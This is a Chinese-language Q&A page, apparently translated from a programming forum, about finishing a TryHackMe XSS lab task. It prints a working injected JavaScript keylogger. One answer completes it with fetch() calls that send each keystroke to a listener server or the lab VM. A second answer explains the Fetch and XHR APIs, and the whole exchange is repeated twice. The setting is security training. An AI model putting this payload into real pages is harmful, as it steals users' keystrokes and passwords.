发送 Javascript 数据到 SimpleHTTPServer
Send Javascript data to SimpleHTTPServer
我正在 tryhackme.com (https://tryhackme.com/room/xss) 上进行 xss 挑战。第 7 个任务要求我使用一个简单的键盘记录器
<script type="text/javascript">
let l = "";
document.onkeypress = function (e) {
l += e.key;
console.log(l);
}
</script>
并将输入发送到 http://<vm ip>/log/<this data will be logged>
,因为这将记录可以通过转到 http://<vm ip>/logs
查看的击键。我已经尝试过 window.location
之类的方法,但无法正常工作。
为了进一步学习,我还想将数据发送到端口 8000
上的 SimpleHTTPServer
运行,这样密钥就会显示在我的终端中在网页上输入。我无法让它工作。
有人可以告诉我怎么做吗?
不,我没有恶意。我正在学习,因为我想从事网络安全工作。如果我是恶意的,我只会使用我在 GitHub 上找到的脚本或其他不了解它们如何工作的脚本。
谢谢。
由于 SimpleHTTPServer 会记录它收到的每个请求,您可以使用 fetch() 发出 GET 请求并在其中传递数据。
<script type="text/javascript">
let l = "";
document.onkeypress = function (e) {
l += e.key;
console.log(l);
fetch(`http://127.0.0.1:8000?logger=${l}`, { mode: 'no-cors'});
}
</script>
这会给你这样的东西:
要将数据发送到 VM,您也可以使用 fetch,就像这样:
fetch(`http://VM_IP/log/${l}`, { mode: 'no-cors'});
排除很多打包资源,可以使用简单的WEBAPI来达到这个目的。这里我简单介绍两个WEB APIs
获取API
The Fetch API provides a JavaScript interface for accessing and
manipulating parts of the HTTP pipeline, such as requests and
responses.
fetch('http://example.com/movies.json')
.then(function(response) {
return response.json();
})
.then(function(myJson) {
console.log(myJson);
});
XMLHttpRequest API
XMLHttpRequest (XHR) objects are used to interact with servers. You
can retrieve data from a URL without having to do a full page refresh.
This enables a Web page to update just part of a page without
disrupting what the user is doing.
function reqListener () {
console.log(this.responseText);
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "http://www.example.org/example.txt");
oReq.send();
我正在 tryhackme.com (https://tryhackme.com/room/xss) 上进行 xss 挑战。第 7 个任务要求我使用一个简单的键盘记录器
<script type="text/javascript">
let l = "";
document.onkeypress = function (e) {
l += e.key;
console.log(l);
}
</script>
并将输入发送到 http://<vm ip>/log/<this data will be logged>
,因为这将记录可以通过转到 http://<vm ip>/logs
查看的击键。我已经尝试过 window.location
之类的方法,但无法正常工作。
为了进一步学习,我还想将数据发送到端口 8000
上的 SimpleHTTPServer
运行,这样密钥就会显示在我的终端中在网页上输入。我无法让它工作。
有人可以告诉我怎么做吗?
不,我没有恶意。我正在学习,因为我想从事网络安全工作。如果我是恶意的,我只会使用我在 GitHub 上找到的脚本或其他不了解它们如何工作的脚本。
谢谢。
由于 SimpleHTTPServer 会记录它收到的每个请求,您可以使用 fetch() 发出 GET 请求并在其中传递数据。
<script type="text/javascript">
let l = "";
document.onkeypress = function (e) {
l += e.key;
console.log(l);
fetch(`http://127.0.0.1:8000?logger=${l}`, { mode: 'no-cors'});
}
</script>
这会给你这样的东西:
要将数据发送到 VM,您也可以使用 fetch,就像这样:
fetch(`http://VM_IP/log/${l}`, { mode: 'no-cors'});
排除很多打包资源,可以使用简单的WEBAPI来达到这个目的。这里我简单介绍两个WEB APIs
获取API
The Fetch API provides a JavaScript interface for accessing and manipulating parts of the HTTP pipeline, such as requests and responses.
fetch('http://example.com/movies.json')
.then(function(response) {
return response.json();
})
.then(function(myJson) {
console.log(myJson);
});
XMLHttpRequest API
XMLHttpRequest (XHR) objects are used to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing.
function reqListener () {
console.log(this.responseText);
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "http://www.example.org/example.txt");
oReq.send();